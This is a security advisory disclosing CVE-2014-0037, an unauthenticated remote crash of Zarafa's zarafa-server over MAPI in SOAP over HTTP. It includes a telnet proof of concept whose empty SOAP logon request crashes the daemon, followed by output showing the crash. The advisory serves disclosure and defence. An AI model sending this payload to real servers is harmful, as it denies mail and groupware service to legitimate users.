CVE-2014-0037: Unauthenticated remote crash in Zarafa

Am 16. Oktober 2013 habe ich entdeckt, dass man den zentralen Zarafa-Server-Prozess der Zarafa Collaboration Platform, auf den alle anderen Zarafa-Dienste zugreifen, ohne vorhergehende Authentifikation aus der Ferne über das Protokoll "MAPI in SOAP over HTTP(S)" über Port 236 bzw. 237 (TCP) abstürzen lassen kann. Technisch muss dafür ein Benutzername beim Anmeldeprozess zu einem NULL-Pointer führen. Nachfolgend das Security Advisory in englischer Sprache:

Background

Zarafa is a leading European provider of open source groupware and collaboration software. The core product is the Zarafa Collaboration Platform (ZCP), an European open and compatible groupware platform that can be used as a drop-in Microsoft Exchange replacement for e-mail, calendaring, collaboration and tasks (origin: Zarafa company profile).

Description

The Zarafa Collaboration Platform contains MAPI4Linux, a complete open source MAPI implementation as its backbone. Thus all Zarafa services and daemons are using MAPI in SOAP over HTTP(S) to communicate with each other, by default either via TCP port 236 (cleartext) or TCP port 237 (encrypted). More details regarding the relationships between the components and the protocols being used can be found in the Zarafa Collaboration Suite Architecture Diagram. But the main component, the zarafa-server daemon/service, contains a flaw that could allow remote unauthenticated attackers to crash this daemon/service, preventing access to any other legitimate user of the Zarafa installation. Crashing the zarafa-server daemon/service can be triggered using MAPI in SOAP over HTTP(S) once the username during the authentication process leads internally to a NULL pointer exception. This flaw thus allows a so-called unauthenticated remote denial of service.

CVSS v2 metrics

Analysis

There is no exploitation which would allow unauthenticated remote attackers to gain root access. However an affected Zarafa installation is left with a crashed zarafa-server daemon/service (segmentation fault) while all other Zarafa daemons/services are still up and running. The flaw can be not mitigated through any compile-time hardening flags or due to regular Zarafa configuration file changes except by filtering or completely disabling Zarafa's MAPI in SOAP over HTTP(S) connectivity which again could impact legitimate remote Zarafa users such as Microsoft Outlook clients when using MAPI via the Zarafa Outlook Client, also known as Zarafa Windows Client, Zarafa Outlook Plugin or Zarafa Client Connector. Additionally, the remote Denial of Service does not depend on the operating system used on the server, too.

Finally every Zarafa installation (default or non-default) is affected (except any legitimate remote usage of Zarafa's MAPI in SOAP over HTTP(S) protocol is filtered in the firewall or completely disabled in the Zarafa server configuration).

Reproducability

Even the following commands could be used to actively exploit and abuse this flaw they are only made public to analyze if the system in question is vulnerable or not.

robert@tux:~ > telnet localhost 236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
POST http://localhost:236/zarafa HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:xmlmime="http://www.w3.org/2004/11/xmlmime" xmlns:ns="urn:zarafa"><SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><ns:logon></ns:logon></SOAP-ENV:Body></SOAP-ENV:Envelope>
Connection closed by foreign host.
robert@tux:~ >

The connection is closed once the Zarafa server/daemon crashed with a segmentation fault. Thus trying to reconnect (by e.g. using the same command) leads to an error due to a refused connection:

robert@tux:~ > telnet localhost 236
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
robert@tux:~ >

Workaround

Once such a crash attack was successfully performed, the Zarafa server needs to be started again to provide access to legitimate Zarafa users, e.g. by using the command /usr/bin/zarafa-server -c /etc/zarafa/server.cfg or an initscript.

Setting up a firewall for TCP port 236 or 237 to restrict network access to either only trusted networks or by using deep packet inspection has to be done very carefully because it might negatively affect existing Zarafa multi-server setups or other common usecases of Zarafa such as e.g. legitimate remote users. The MAPI in SOAP over HTTP(S) protocol is e.g. used by all Microsoft Outlook clients when not using IMAP but MAPI via the Zarafa Outlook Client, also known as Zarafa Windows Client, Zarafa Outlook Plugin or Zarafa Client Connector.

There is also a source code patch suggestion available that could be applied e.g. for community builds of Zarafa or earlier versions of Zarafa that already reached end-of-life. After applying the patch a rebuild of Zarafa is indeed necessary.

Solution

As there are fixed releases of the Zarafa Collaboration Platform available, an update is highly recommented over any workaround.

Possibly affected versions

Affected versions

Fixed versions

CVE information

The MITRE Corporation Common Vulnerabilities and Exposures (CVE) number CVE-2014-0037 was assigned on January 24, 2014. Currently, the following other identifications are known for this issue:

Disclosure timeline

Credit

This vulnerability was discovered, analyzed and reported by Robert Scheck.

Robert Scheck would like to thank Vincent Danen of the Red Hat Security Response Team for his time and support.

Legal notices

Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an as is condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.